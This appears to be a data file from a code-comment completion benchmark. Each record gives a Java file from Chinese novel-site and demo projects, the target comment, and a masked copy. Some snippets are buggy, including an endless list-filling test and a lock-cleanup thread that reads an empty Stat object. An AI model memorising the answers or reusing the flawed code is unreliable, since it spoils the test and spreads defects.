package io.github.xxyopen.novel.core.common.constant; import lombok.AllArgsConstructor; import lombok.Getter; /** * 错误码枚举类。 * <p> * 错误码为字符串类型,共 5 位,分成两个部分:错误产生来源+四位数字编号。 错误产生来源分为 A/B/C, A 表示错误来源于用户,比如参数错误,用户安装版本过低,用户支付 超时等问题; B * 表示错误来源于当前系统,往往是业务逻辑出错,或程序健壮性差等问题; C 表示错误来源 于第三方服务,比如 CDN 服务出错,消息投递超时等问题;四位数字编号从 0001 到 9999,大类之间的 * 步长间距预留 100。 * <p> * 错误码分为一级宏观错误码、二级宏观错误码、三级宏观错误码。 在无法更加具体确定的错误场景中,可以直接使用一级宏观错误码。 * * @author xiongxiaoyang * @date 2022/5/11 */ @Getter @AllArgsConstructor public enum ErrorCodeEnum { /** * 正确执行后的返回 */ OK("00000", "一切 ok"), /** * 一级宏观错误码,用户端错误 */ USER_ERROR("A0001", "用户端错误"), /** * 二级宏观错误码,用户注册错误 */ USER_REGISTER_ERROR("A0100", "用户注册错误"), /** * 用户未同意隐私协议 */ USER_NO_AGREE_PRIVATE_ERROR("A0101", "用户未同意隐私协议"), /** * 注册国家或地区受限 */ USER_REGISTER_AREA_LIMIT_ERROR("A0102", "注册国家或地区受限"), /** * 用户验证码错误 */ USER_VERIFY_CODE_ERROR("A0240", "用户验证码错误"), /** * 用户名已存在 */ USER_NAME_EXIST("A0111", "用户名已存在"), /** * 用户账号不存在 */ USER_ACCOUNT_NOT_EXIST("A0201", "用户账号不存在"), /** * 用户密码错误 */ USER_PASSWORD_ERROR("A0210", "用户密码错误"), /** * 二级宏观错误码,用户请求参数错误 */ USER_REQUEST_PARAM_ERROR("A0400", "用户请求参数错误"), /** * 用户登录已过期 */ USER_LOGIN_EXPIRED("A0230", "用户登录已过期"), /** * 访问未授权 */ USER_UN_AUTH("A0301", "访问未授权"), /** * 用户请求服务异常 */ USER_REQ_EXCEPTION("A0500", "用户请求服务异常"), /** * 请求超出限制 */ USER_REQ_MANY("A0501", "请求超出限制"), /** * 用户评论异常 */ USER_COMMENT("A2000", "用户评论异常"), /** * 用户评论异常 */ USER_COMMENTED("A2001", "用户已发表评论"), /** * 作家发布异常 */ AUTHOR_PUBLISH("A3000", "作家发布异常"), /** * 小说名已存在 */ AUTHOR_BOOK_NAME_EXIST("A3001", "小说名已存在"), /** * 用户上传文件异常 */ USER_UPLOAD_FILE_ERROR("A0700", "用户上传文件异常"), /** * 用户上传文件类型不匹配 */ USER_UPLOAD_FILE_TYPE_NOT_MATCH("A0701", "用户上传文件类型不匹配"), /** * 一级宏观错误码,系统执行出错 */ SYSTEM_ERROR("B0001", "系统执行出错"), /** * 二级宏观错误码,系统执行超时 */ SYSTEM_TIMEOUT_ERROR("B0100", "系统执行超时"), /** * 一级宏观错误码,调用第三方服务出错 */ THIRD_SERVICE_ERROR("C0001", "调用第三方服务出错"), /** * 一级宏观错误码,中间件服务出错 */ MIDDLEWARE_SERVICE_ERROR("C0100", "中间件服务出错"); /** * 错误码 */ private final String code; /** * 中文描述 */ private final String message; }
201206030/novel
src/main/java/io/github/xxyopen/novel/core/common/constant/ErrorCodeEnum.java
1,122
/** * 用户登录已过期 */
block_comment
zh-cn
package io.github.xxyopen.novel.core.common.constant; import lombok.AllArgsConstructor; import lombok.Getter; /** * 错误码枚举类。 * <p> * 错误码为字符串类型,共 5 位,分成两个部分:错误产生来源+四位数字编号。 错误产生来源分为 A/B/C, A 表示错误来源于用户,比如参数错误,用户安装版本过低,用户支付 超时等问题; B * 表示错误来源于当前系统,往往是业务逻辑出错,或程序健壮性差等问题; C 表示错误来源 于第三方服务,比如 CDN 服务出错,消息投递超时等问题;四位数字编号从 0001 到 9999,大类之间的 * 步长间距预留 100。 * <p> * 错误码分为一级宏观错误码、二级宏观错误码、三级宏观错误码。 在无法更加具体确定的错误场景中,可以直接使用一级宏观错误码。 * * @author xiongxiaoyang * @date 2022/5/11 */ @Getter @AllArgsConstructor public enum ErrorCodeEnum { /** * 正确执行后的返回 */ OK("00000", "一切 ok"), /** * 一级宏观错误码,用户端错误 */ USER_ERROR("A0001", "用户端错误"), /** * 二级宏观错误码,用户注册错误 */ USER_REGISTER_ERROR("A0100", "用户注册错误"), /** * 用户未同意隐私协议 */ USER_NO_AGREE_PRIVATE_ERROR("A0101", "用户未同意隐私协议"), /** * 注册国家或地区受限 */ USER_REGISTER_AREA_LIMIT_ERROR("A0102", "注册国家或地区受限"), /** * 用户验证码错误 */ USER_VERIFY_CODE_ERROR("A0240", "用户验证码错误"), /** * 用户名已存在 */ USER_NAME_EXIST("A0111", "用户名已存在"), /** * 用户账号不存在 */ USER_ACCOUNT_NOT_EXIST("A0201", "用户账号不存在"), /** * 用户密码错误 */ USER_PASSWORD_ERROR("A0210", "用户密码错误"), /** * 二级宏观错误码,用户请求参数错误 */ USER_REQUEST_PARAM_ERROR("A0400", "用户请求参数错误"), /** * 用户登 <SUF>*/ USER_LOGIN_EXPIRED("A0230", "用户登录已过期"), /** * 访问未授权 */ USER_UN_AUTH("A0301", "访问未授权"), /** * 用户请求服务异常 */ USER_REQ_EXCEPTION("A0500", "用户请求服务异常"), /** * 请求超出限制 */ USER_REQ_MANY("A0501", "请求超出限制"), /** * 用户评论异常 */ USER_COMMENT("A2000", "用户评论异常"), /** * 用户评论异常 */ USER_COMMENTED("A2001", "用户已发表评论"), /** * 作家发布异常 */ AUTHOR_PUBLISH("A3000", "作家发布异常"), /** * 小说名已存在 */ AUTHOR_BOOK_NAME_EXIST("A3001", "小说名已存在"), /** * 用户上传文件异常 */ USER_UPLOAD_FILE_ERROR("A0700", "用户上传文件异常"), /** * 用户上传文件类型不匹配 */ USER_UPLOAD_FILE_TYPE_NOT_MATCH("A0701", "用户上传文件类型不匹配"), /** * 一级宏观错误码,系统执行出错 */ SYSTEM_ERROR("B0001", "系统执行出错"), /** * 二级宏观错误码,系统执行超时 */ SYSTEM_TIMEOUT_ERROR("B0100", "系统执行超时"), /** * 一级宏观错误码,调用第三方服务出错 */ THIRD_SERVICE_ERROR("C0001", "调用第三方服务出错"), /** * 一级宏观错误码,中间件服务出错 */ MIDDLEWARE_SERVICE_ERROR("C0100", "中间件服务出错"); /** * 错误码 */ private final String code; /** * 中文描述 */ private final String message; }
0
1,017
11
1,122
10
1,149
11
1,122
10
1,817
15
false
false
false
false
false
true
57549_1
package com.java2nb.novel.core.utils; import java.util.Random; /** * 随机生成小说信息工具类 * @author Administrator */ public class RandomBookInfoUtil { /** * 根据评分获取访问人数 * */ public static Long getVisitCountByScore(Float score){ Long visitCount ; if(score > 9){ visitCount = 100000 + new Random(100000).nextLong(); }else if(score > 8){ visitCount = 10000 + new Random(10000).nextLong(); }else if(score > 7){ visitCount = 1000 + new Random(1000).nextLong(); }else if(score > 6){ visitCount = 100 + new Random(100).nextLong(); }else{ visitCount = new Random(100).nextLong(); } return visitCount; } /** * 根据访问人数获取评分 * */ public static Float getScoreByVisitCount(Long visitCount){ Float score; if(visitCount>100000) { score = 8.9f; }else if(visitCount>10000){ score = 8.0f+(visitCount/10000)*0.1f; }else if(visitCount>1000){ score = 7.0f+(visitCount/1000)*0.1f; }else if(visitCount>100){ score = 6.0f+(visitCount/100)*0.1f; }else{ score = 6.0f; } return score; } /** * 获取分类名 * */ public static String getCatNameById(Integer catId) { String catName = "其他"; switch (catId) { case 1: { catName = "玄幻奇幻"; break; } case 2: { catName = "武侠仙侠"; break; } case 3: { catName = "都市言情"; break; } case 4: { catName = "历史军事"; break; } case 5: { catName = "科幻灵异"; break; } case 6: { catName = "网游竞技"; break; } case 7: { catName = "女生频道"; break; } case 8: { catName = "轻小说"; break; } case 9: { catName = "漫画"; break; } default: { break; } } return catName; } }
201206030/novel-plus
novel-common/src/main/java/com/java2nb/novel/core/utils/RandomBookInfoUtil.java
673
/** * 根据评分获取访问人数 * */
block_comment
zh-cn
package com.java2nb.novel.core.utils; import java.util.Random; /** * 随机生成小说信息工具类 * @author Administrator */ public class RandomBookInfoUtil { /** * 根据评 <SUF>*/ public static Long getVisitCountByScore(Float score){ Long visitCount ; if(score > 9){ visitCount = 100000 + new Random(100000).nextLong(); }else if(score > 8){ visitCount = 10000 + new Random(10000).nextLong(); }else if(score > 7){ visitCount = 1000 + new Random(1000).nextLong(); }else if(score > 6){ visitCount = 100 + new Random(100).nextLong(); }else{ visitCount = new Random(100).nextLong(); } return visitCount; } /** * 根据访问人数获取评分 * */ public static Float getScoreByVisitCount(Long visitCount){ Float score; if(visitCount>100000) { score = 8.9f; }else if(visitCount>10000){ score = 8.0f+(visitCount/10000)*0.1f; }else if(visitCount>1000){ score = 7.0f+(visitCount/1000)*0.1f; }else if(visitCount>100){ score = 6.0f+(visitCount/100)*0.1f; }else{ score = 6.0f; } return score; } /** * 获取分类名 * */ public static String getCatNameById(Integer catId) { String catName = "其他"; switch (catId) { case 1: { catName = "玄幻奇幻"; break; } case 2: { catName = "武侠仙侠"; break; } case 3: { catName = "都市言情"; break; } case 4: { catName = "历史军事"; break; } case 5: { catName = "科幻灵异"; break; } case 6: { catName = "网游竞技"; break; } case 7: { catName = "女生频道"; break; } case 8: { catName = "轻小说"; break; } case 9: { catName = "漫画"; break; } default: { break; } } return catName; } }
0
635
14
673
13
731
13
673
13
825
23
false
false
false
false
false
true
21154_0
package com.team.decorator; import java.util.ArrayList; import java.util.List; import org.junit.Before; import org.junit.Test; import com.mysql.fabric.xmlrpc.base.Array; public class Sale { @Before public void setUp() throws Exception { } @Test public void test() { //来一块牛肉汉堡 Humburger beef = new HumburgerBeef(2); System.out.println(beef.getName()+" 售价:"+beef.getPrice()); //老板,牛肉汗煲加火腿,谢谢!^_^ Condiment ham = new CondimentHam(new HumburgerBeef(2)); System.out.println(ham.getName()+" 售价:"+ham.getPrice()); //鸡腿堡一个,打包 Humburger chicken = new HumburgerChicken(); System.out.println(chicken.getName()+" 售价:"+chicken.getPrice()); //再加点芝士吧 Condiment cheese = new CondimentCheese(chicken); System.out.println(cheese.getName()+" 售价:"+cheese.getPrice()); Dressing chilli = new DressingChilli(ham); System.out.println(chilli.getName()+" 售价:"+chilli.getPrice()); } @Test public void test1() { List<Integer> list = new ArrayList<Integer>(); int i = 0; while(true){ list.add(i++); } } }
20gg/weChat
src/main/java/com/team/Decorator/Sale.java
424
//来一块牛肉汉堡
line_comment
zh-cn
package com.team.decorator; import java.util.ArrayList; import java.util.List; import org.junit.Before; import org.junit.Test; import com.mysql.fabric.xmlrpc.base.Array; public class Sale { @Before public void setUp() throws Exception { } @Test public void test() { //来一 <SUF> Humburger beef = new HumburgerBeef(2); System.out.println(beef.getName()+" 售价:"+beef.getPrice()); //老板,牛肉汗煲加火腿,谢谢!^_^ Condiment ham = new CondimentHam(new HumburgerBeef(2)); System.out.println(ham.getName()+" 售价:"+ham.getPrice()); //鸡腿堡一个,打包 Humburger chicken = new HumburgerChicken(); System.out.println(chicken.getName()+" 售价:"+chicken.getPrice()); //再加点芝士吧 Condiment cheese = new CondimentCheese(chicken); System.out.println(cheese.getName()+" 售价:"+cheese.getPrice()); Dressing chilli = new DressingChilli(ham); System.out.println(chilli.getName()+" 售价:"+chilli.getPrice()); } @Test public void test1() { List<Integer> list = new ArrayList<Integer>(); int i = 0; while(true){ list.add(i++); } } }
0
310
5
424
11
369
6
424
11
520
16
false
false
false
false
false
true
52164_14
package com.echinacoop.lightos.web.rest.util; import java.util.Date; import java.util.List; import java.util.Map; import java.util.Properties; import javax.mail.Session; import javax.mail.Transport; import javax.mail.internet.InternetAddress; import javax.mail.internet.MimeMessage; public class EMailTool { private EMailTool(){ init(); } private static final class EMailToolClass { private static EMailTool mail = new EMailTool(); } public static EMailTool getInstance(){ return EMailToolClass.mail; } private Session session = null; // 发件人的 邮箱 和 密码(替换为自己的邮箱和密码) // PS: 某些邮箱服务器为了增加邮箱本身密码的安全性,给 SMTP 客户端设置了独立密码(有的邮箱称为“授权码”), // 对于开启了独立密码的邮箱, 这里的邮箱密码必需使用这个独立密码(授权码)。 private static String myEmailAccount = "1111111@qq.com";//"admin@yinsin.net"; private static String myEmailPassword = "1111111";// // 发件人邮箱的 SMTP 服务器地址, 必须准确, 不同邮件服务器地址不同, 一般(只是一般, 绝非绝对)格式为: smtp.xxx.com // 网易163邮箱的 SMTP 服务器地址为: smtp.163.com private static String myEmailSMTPHost = "smtp.qq.com";//"smtp.qq.com"; public void init(){ // 1. 创建参数配置, 用于连接邮件服务器的参数配置 Properties props = new Properties(); // 参数配置 props.setProperty("mail.transport.protocol", "smtp"); // 使用的协议(JavaMail规范要求) props.setProperty("mail.smtp.host", myEmailSMTPHost); // 发件人的邮箱的 SMTP 服务器地址 props.setProperty("mail.smtp.auth", "true"); // 需要请求认证 // PS: 某些邮箱服务器要求 SMTP 连接需要使用 SSL 安全认证 (为了提高安全性, 邮箱支持SSL连接, 也可以自己开启), // 如果无法连接邮件服务器, 仔细查看控制台打印的 log, 如果有有类似 “连接失败, 要求 SSL 安全连接” 等错误, // 打开下面 /* ... */ 之间的注释代码, 开启 SSL 安全连接。 // SMTP 服务器的端口 (非 SSL 连接的端口一般默认为 25, 可以不添加, 如果开启了 SSL 连接, // 需要改为对应邮箱的 SMTP 服务器的端口, 具体可查看对应邮箱服务的帮助, // QQ邮箱的SMTP(SLL)端口为465或587, 其他邮箱自行去查看) final String smtpPort = "465"; props.setProperty("mail.smtp.port", smtpPort); props.setProperty("mail.smtp.socketFactory.class", "javax.net.ssl.SSLSocketFactory"); props.setProperty("mail.smtp.socketFactory.fallback", "false"); props.setProperty("mail.smtp.socketFactory.port", smtpPort); // 2. 根据配置创建会话对象, 用于和邮件服务器交互 session = Session.getDefaultInstance(props); //session.setDebug(true); // 设置为debug模式, 可以查看详细的发送 log } /** * 创建一封只包含文本的简单邮件 * * @param session 和服务器交互的会话 * @param sendMail 发件人邮箱 * @param receiveMail 收件人邮箱 * @return * @throws Exception */ public MimeMessage createMimeMessage(Session session, String sendName, String subject, String content, List<Map<String, String>> toUserList, List<Map<String, String>> ccUserList, List<Map<String, String>> bccUserList) throws Exception { // 1. 创建一封邮件 MimeMessage message = new MimeMessage(session); // 2. From: 发件人 message.setFrom(new InternetAddress(myEmailAccount, sendName, "UTF-8")); // 3. To: 收件人 Map<String, String> user = null; if(null != toUserList && !toUserList.isEmpty()){ int size = toUserList.size(); InternetAddress[] address = new InternetAddress[size]; for (int i = 0; i < size; i++) { user = toUserList.get(i); address[i] = new InternetAddress(user.get("email"), user.get("name"), "UTF-8"); } message.setRecipients(MimeMessage.RecipientType.TO, address); } // To: 抄送给 if(null != ccUserList && !ccUserList.isEmpty()){ int size = ccUserList.size(); InternetAddress[] address = new InternetAddress[size]; for (int i = 0; i < size; i++) { user = ccUserList.get(i); address[i] = new InternetAddress(user.get("email"), user.get("name"), "UTF-8"); } message.setRecipients(MimeMessage.RecipientType.CC, address); } // To: 密送给 if(null != bccUserList && !bccUserList.isEmpty()){ int size = bccUserList.size(); InternetAddress[] address = new InternetAddress[size]; for (int i = 0; i < size; i++) { user = bccUserList.get(i); address[i] = new InternetAddress(user.get("email"), user.get("name"), "UTF-8"); } message.setRecipients(MimeMessage.RecipientType.BCC, address); } // 4. Subject: 邮件主题 message.setSubject(subject, "UTF-8"); // 5. Content: 邮件正文(可以使用html标签) message.setContent(content, "text/html;charset=UTF-8"); // 6. 设置发件时间 message.setSentDate(new Date()); // 7. 保存设置 message.saveChanges(); return message; } /** * 发送邮件 * @param subject 主题 * @param content 内容 * @param toUserList 接收者 * @param ccUserList 抄送给 * @param bccUserList 暗抄给 */ public void sendEMail(String sendName, String subject, String content, List<Map<String, String>> toUserList, List<Map<String, String>> ccUserList, List<Map<String, String>> bccUserList){ try { MimeMessage message = createMimeMessage(session, sendName, subject, content, toUserList, ccUserList, bccUserList); // 4. 根据 Session 获取邮件传输对象 Transport transport = session.getTransport(); // 5. 使用 邮箱账号 和 密码 连接邮件服务器, 这里认证的邮箱必须与 message 中的发件人邮箱一致, 否则报错 // // PS_01: 成败的判断关键在此一句, 如果连接服务器失败, 都会在控制台输出相应失败原因的 log, // 仔细查看失败原因, 有些邮箱服务器会返回错误码或查看错误类型的链接, 根据给出的错误 // 类型到对应邮件服务器的帮助网站上查看具体失败原因。 // // PS_02: 连接失败的原因通常为以下几点, 仔细检查代码: // (1) 邮箱没有开启 SMTP 服务; // (2) 邮箱密码错误, 例如某些邮箱开启了独立密码; // (3) 邮箱服务器要求必须要使用 SSL 安全连接; // (4) 请求过于频繁或其他原因, 被邮件服务器拒绝服务; // (5) 如果以上几点都确定无误, 到邮件服务器网站查找帮助。 // // PS_03: 仔细看log, 认真看log, 看懂log, 错误原因都在log已说明。 transport.connect(myEmailAccount, myEmailPassword); // 6. 发送邮件, 发到所有的收件地址, message.getAllRecipients() 获取到的是在创建邮件对象时添加的所有收件人, 抄送人, 密送人 transport.sendMessage(message, message.getAllRecipients()); // 7. 关闭连接 transport.close(); } catch (Exception e) { e.printStackTrace(); } } }
214175590/lightos
src/main/java/com/echinacoop/lightos/web/rest/util/EMailTool.java
2,028
// 打开下面 /* ... */ 之间的注释代码, 开启 SSL 安全连接。
line_comment
zh-cn
package com.echinacoop.lightos.web.rest.util; import java.util.Date; import java.util.List; import java.util.Map; import java.util.Properties; import javax.mail.Session; import javax.mail.Transport; import javax.mail.internet.InternetAddress; import javax.mail.internet.MimeMessage; public class EMailTool { private EMailTool(){ init(); } private static final class EMailToolClass { private static EMailTool mail = new EMailTool(); } public static EMailTool getInstance(){ return EMailToolClass.mail; } private Session session = null; // 发件人的 邮箱 和 密码(替换为自己的邮箱和密码) // PS: 某些邮箱服务器为了增加邮箱本身密码的安全性,给 SMTP 客户端设置了独立密码(有的邮箱称为“授权码”), // 对于开启了独立密码的邮箱, 这里的邮箱密码必需使用这个独立密码(授权码)。 private static String myEmailAccount = "1111111@qq.com";//"admin@yinsin.net"; private static String myEmailPassword = "1111111";// // 发件人邮箱的 SMTP 服务器地址, 必须准确, 不同邮件服务器地址不同, 一般(只是一般, 绝非绝对)格式为: smtp.xxx.com // 网易163邮箱的 SMTP 服务器地址为: smtp.163.com private static String myEmailSMTPHost = "smtp.qq.com";//"smtp.qq.com"; public void init(){ // 1. 创建参数配置, 用于连接邮件服务器的参数配置 Properties props = new Properties(); // 参数配置 props.setProperty("mail.transport.protocol", "smtp"); // 使用的协议(JavaMail规范要求) props.setProperty("mail.smtp.host", myEmailSMTPHost); // 发件人的邮箱的 SMTP 服务器地址 props.setProperty("mail.smtp.auth", "true"); // 需要请求认证 // PS: 某些邮箱服务器要求 SMTP 连接需要使用 SSL 安全认证 (为了提高安全性, 邮箱支持SSL连接, 也可以自己开启), // 如果无法连接邮件服务器, 仔细查看控制台打印的 log, 如果有有类似 “连接失败, 要求 SSL 安全连接” 等错误, // 打开 <SUF> // SMTP 服务器的端口 (非 SSL 连接的端口一般默认为 25, 可以不添加, 如果开启了 SSL 连接, // 需要改为对应邮箱的 SMTP 服务器的端口, 具体可查看对应邮箱服务的帮助, // QQ邮箱的SMTP(SLL)端口为465或587, 其他邮箱自行去查看) final String smtpPort = "465"; props.setProperty("mail.smtp.port", smtpPort); props.setProperty("mail.smtp.socketFactory.class", "javax.net.ssl.SSLSocketFactory"); props.setProperty("mail.smtp.socketFactory.fallback", "false"); props.setProperty("mail.smtp.socketFactory.port", smtpPort); // 2. 根据配置创建会话对象, 用于和邮件服务器交互 session = Session.getDefaultInstance(props); //session.setDebug(true); // 设置为debug模式, 可以查看详细的发送 log } /** * 创建一封只包含文本的简单邮件 * * @param session 和服务器交互的会话 * @param sendMail 发件人邮箱 * @param receiveMail 收件人邮箱 * @return * @throws Exception */ public MimeMessage createMimeMessage(Session session, String sendName, String subject, String content, List<Map<String, String>> toUserList, List<Map<String, String>> ccUserList, List<Map<String, String>> bccUserList) throws Exception { // 1. 创建一封邮件 MimeMessage message = new MimeMessage(session); // 2. From: 发件人 message.setFrom(new InternetAddress(myEmailAccount, sendName, "UTF-8")); // 3. To: 收件人 Map<String, String> user = null; if(null != toUserList && !toUserList.isEmpty()){ int size = toUserList.size(); InternetAddress[] address = new InternetAddress[size]; for (int i = 0; i < size; i++) { user = toUserList.get(i); address[i] = new InternetAddress(user.get("email"), user.get("name"), "UTF-8"); } message.setRecipients(MimeMessage.RecipientType.TO, address); } // To: 抄送给 if(null != ccUserList && !ccUserList.isEmpty()){ int size = ccUserList.size(); InternetAddress[] address = new InternetAddress[size]; for (int i = 0; i < size; i++) { user = ccUserList.get(i); address[i] = new InternetAddress(user.get("email"), user.get("name"), "UTF-8"); } message.setRecipients(MimeMessage.RecipientType.CC, address); } // To: 密送给 if(null != bccUserList && !bccUserList.isEmpty()){ int size = bccUserList.size(); InternetAddress[] address = new InternetAddress[size]; for (int i = 0; i < size; i++) { user = bccUserList.get(i); address[i] = new InternetAddress(user.get("email"), user.get("name"), "UTF-8"); } message.setRecipients(MimeMessage.RecipientType.BCC, address); } // 4. Subject: 邮件主题 message.setSubject(subject, "UTF-8"); // 5. Content: 邮件正文(可以使用html标签) message.setContent(content, "text/html;charset=UTF-8"); // 6. 设置发件时间 message.setSentDate(new Date()); // 7. 保存设置 message.saveChanges(); return message; } /** * 发送邮件 * @param subject 主题 * @param content 内容 * @param toUserList 接收者 * @param ccUserList 抄送给 * @param bccUserList 暗抄给 */ public void sendEMail(String sendName, String subject, String content, List<Map<String, String>> toUserList, List<Map<String, String>> ccUserList, List<Map<String, String>> bccUserList){ try { MimeMessage message = createMimeMessage(session, sendName, subject, content, toUserList, ccUserList, bccUserList); // 4. 根据 Session 获取邮件传输对象 Transport transport = session.getTransport(); // 5. 使用 邮箱账号 和 密码 连接邮件服务器, 这里认证的邮箱必须与 message 中的发件人邮箱一致, 否则报错 // // PS_01: 成败的判断关键在此一句, 如果连接服务器失败, 都会在控制台输出相应失败原因的 log, // 仔细查看失败原因, 有些邮箱服务器会返回错误码或查看错误类型的链接, 根据给出的错误 // 类型到对应邮件服务器的帮助网站上查看具体失败原因。 // // PS_02: 连接失败的原因通常为以下几点, 仔细检查代码: // (1) 邮箱没有开启 SMTP 服务; // (2) 邮箱密码错误, 例如某些邮箱开启了独立密码; // (3) 邮箱服务器要求必须要使用 SSL 安全连接; // (4) 请求过于频繁或其他原因, 被邮件服务器拒绝服务; // (5) 如果以上几点都确定无误, 到邮件服务器网站查找帮助。 // // PS_03: 仔细看log, 认真看log, 看懂log, 错误原因都在log已说明。 transport.connect(myEmailAccount, myEmailPassword); // 6. 发送邮件, 发到所有的收件地址, message.getAllRecipients() 获取到的是在创建邮件对象时添加的所有收件人, 抄送人, 密送人 transport.sendMessage(message, message.getAllRecipients()); // 7. 关闭连接 transport.close(); } catch (Exception e) { e.printStackTrace(); } } }
0
1,938
23
2,028
20
2,081
18
2,028
20
2,990
32
false
false
false
false
false
true
5558_2
package com.gpmall.commons.lock.impl.zk; import org.apache.curator.framework.CuratorFramework; import org.apache.zookeeper.data.Stat; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import java.util.Date; import java.util.List; /** * Description: 分布式锁---后台线程 * 用来删除无效节点 * 目录如下 * gpcommons_lock/ * --AAA * -- orderId:001 * --临时节点 (锁释放后删除) * --临时节点 (锁释放后删除) * -- orderId:002 * -- orderId:003 * -- orderId:004 * -- orderId:005 * --BBB * --CCC * 上面 gpcommons_lock 为根目录,AAA,BBB代表具体的项目名,锁释放后,AAA下面的 orderId:001 等目录 不会被删除 * 随着时间的推移会造成 大量的 冗余目录堆积。 怕说不明白,小伙伴们可以自行实验一下 * @date 2019年8月12日 * @author msl 1015952139 */ public class LockBackGroundThread extends Thread{ private Logger logger = LoggerFactory.getLogger(getClass()); CuratorFramework client; protected LockBackGroundThread(CuratorFramework client){ this.client = client; this.setDaemon(true); this.setName("ZkMutexDistributedLock---background"); } @Override public synchronized void run() { super.run(); try { while (true){ //TODO 后期可以通过配置中心 配置 LockBackGroundConf conf = new LockBackGroundConf(); deleteInvalidNode(conf); // 默认一小时执行一次(配置中心可配) Thread.currentThread().wait(conf.getFrequency()*1000); } } catch (Exception e) { e.printStackTrace(); } } private void deleteInvalidNode(LockBackGroundConf conf) throws Exception{ String projectDir = ZkMutexDistributedLockFactory.lockPath + ZkMutexDistributedLockFactory.projectName; Stat exitDir = client.checkExists().forPath(projectDir); if(exitDir == null){ logger.error("根目录尚未创建,本次清理结束--" + projectDir); return; } List<String> paths = client.getChildren().forPath(projectDir); Date date = new Date(); paths.forEach(currPath -> { try{ Stat stat = new Stat(); // 默认删除一天前无效的数据。 子节点为0,说明当前节点无效 if(stat.getMtime()<(date.getTime() - (conf.getBeforeTime()*1000)) && stat.getNumChildren() == 0){ // 只删除空目录 client.delete().forPath(projectDir + currPath); logger.info("删除路径: " + projectDir + currPath); } }catch (Exception e){ logger.error("删除节点失败: ", e); } }); } }
2227324689/gpmall
gpmall-commons/commons-lock/src/main/java/com/gpmall/commons/lock/impl/zk/LockBackGroundThread.java
753
// 默认一小时执行一次(配置中心可配)
line_comment
zh-cn
package com.gpmall.commons.lock.impl.zk; import org.apache.curator.framework.CuratorFramework; import org.apache.zookeeper.data.Stat; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import java.util.Date; import java.util.List; /** * Description: 分布式锁---后台线程 * 用来删除无效节点 * 目录如下 * gpcommons_lock/ * --AAA * -- orderId:001 * --临时节点 (锁释放后删除) * --临时节点 (锁释放后删除) * -- orderId:002 * -- orderId:003 * -- orderId:004 * -- orderId:005 * --BBB * --CCC * 上面 gpcommons_lock 为根目录,AAA,BBB代表具体的项目名,锁释放后,AAA下面的 orderId:001 等目录 不会被删除 * 随着时间的推移会造成 大量的 冗余目录堆积。 怕说不明白,小伙伴们可以自行实验一下 * @date 2019年8月12日 * @author msl 1015952139 */ public class LockBackGroundThread extends Thread{ private Logger logger = LoggerFactory.getLogger(getClass()); CuratorFramework client; protected LockBackGroundThread(CuratorFramework client){ this.client = client; this.setDaemon(true); this.setName("ZkMutexDistributedLock---background"); } @Override public synchronized void run() { super.run(); try { while (true){ //TODO 后期可以通过配置中心 配置 LockBackGroundConf conf = new LockBackGroundConf(); deleteInvalidNode(conf); // 默认 <SUF> Thread.currentThread().wait(conf.getFrequency()*1000); } } catch (Exception e) { e.printStackTrace(); } } private void deleteInvalidNode(LockBackGroundConf conf) throws Exception{ String projectDir = ZkMutexDistributedLockFactory.lockPath + ZkMutexDistributedLockFactory.projectName; Stat exitDir = client.checkExists().forPath(projectDir); if(exitDir == null){ logger.error("根目录尚未创建,本次清理结束--" + projectDir); return; } List<String> paths = client.getChildren().forPath(projectDir); Date date = new Date(); paths.forEach(currPath -> { try{ Stat stat = new Stat(); // 默认删除一天前无效的数据。 子节点为0,说明当前节点无效 if(stat.getMtime()<(date.getTime() - (conf.getBeforeTime()*1000)) && stat.getNumChildren() == 0){ // 只删除空目录 client.delete().forPath(projectDir + currPath); logger.info("删除路径: " + projectDir + currPath); } }catch (Exception e){ logger.error("删除节点失败: ", e); } }); } }
0
674
12
753
13
756
12
753
13
962
21
false
false
false
false
false
true
48088_0
package com.autumn; import android.content.DialogInterface; import android.support.v7.app.AlertDialog; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import android.view.LayoutInflater; import android.view.View; import android.widget.Button; import android.widget.EditText; import com.autumn.util.ToastUtil; public class DialogActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_dialog); Button btnDialog1 = findViewById(R.id.btn_dialog1); Button btnDialog2 = findViewById(R.id.btn_dialog2); Button btnDialog3 = findViewById(R.id.btn_dialog3); Button btnDialog4 = findViewById(R.id.btn_dialog4); Button btnDialog5 = findViewById(R.id.btn_dialog5); OnClick onClick = new OnClick(); btnDialog1.setOnClickListener(onClick); btnDialog2.setOnClickListener(onClick); btnDialog3.setOnClickListener(onClick); btnDialog4.setOnClickListener(onClick); btnDialog5.setOnClickListener(onClick); } class OnClick implements View.OnClickListener { @Override public void onClick(View v) { switch (v.getId()){ case R.id.btn_dialog1: //分别是积极的按钮,中性的按钮和消极的按钮 AlertDialog.Builder builder = new AlertDialog.Builder(DialogActivity.this); builder.setTitle("请回答:").setMessage("你对Android感兴趣吗?").setIcon(R.drawable.icon_user).setPositiveButton("感兴趣", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { ToastUtil.showMsg(DialogActivity.this,"你很诚实!"); } }).setNeutralButton("还行", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { ToastUtil.showMsg(DialogActivity.this,"真的吗?"); } }).setNegativeButton("不喜欢", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { ToastUtil.showMsg(DialogActivity.this,"你再想想!"); } }).show(); break; case R.id.btn_dialog2: final String[] array = new String[]{"男","女"}; AlertDialog.Builder builder1 = new AlertDialog.Builder(DialogActivity.this); builder1.setTitle("请选择性别:").setItems(array, new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { ToastUtil.showMsg(DialogActivity.this,array[which]); } }).show(); break; case R.id.btn_dialog3: final String[] array2 = new String[]{"男","女"}; AlertDialog.Builder builder2 = new AlertDialog.Builder(DialogActivity.this); //默认选中"女",类似RadioButton样式 builder2.setTitle("请选择性别:").setSingleChoiceItems(array2,1, new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { ToastUtil.showMsg(DialogActivity.this,array2[which]); dialog.dismiss(); } }).setCancelable(false).show(); break; case R.id.btn_dialog4: //类似Checkbox的样式 final String[] array3 = new String[]{"吃饭","睡觉","写代码"}; final boolean[] isSelected = new boolean[]{false,false,true}; AlertDialog.Builder builder3 = new AlertDialog.Builder(DialogActivity.this); 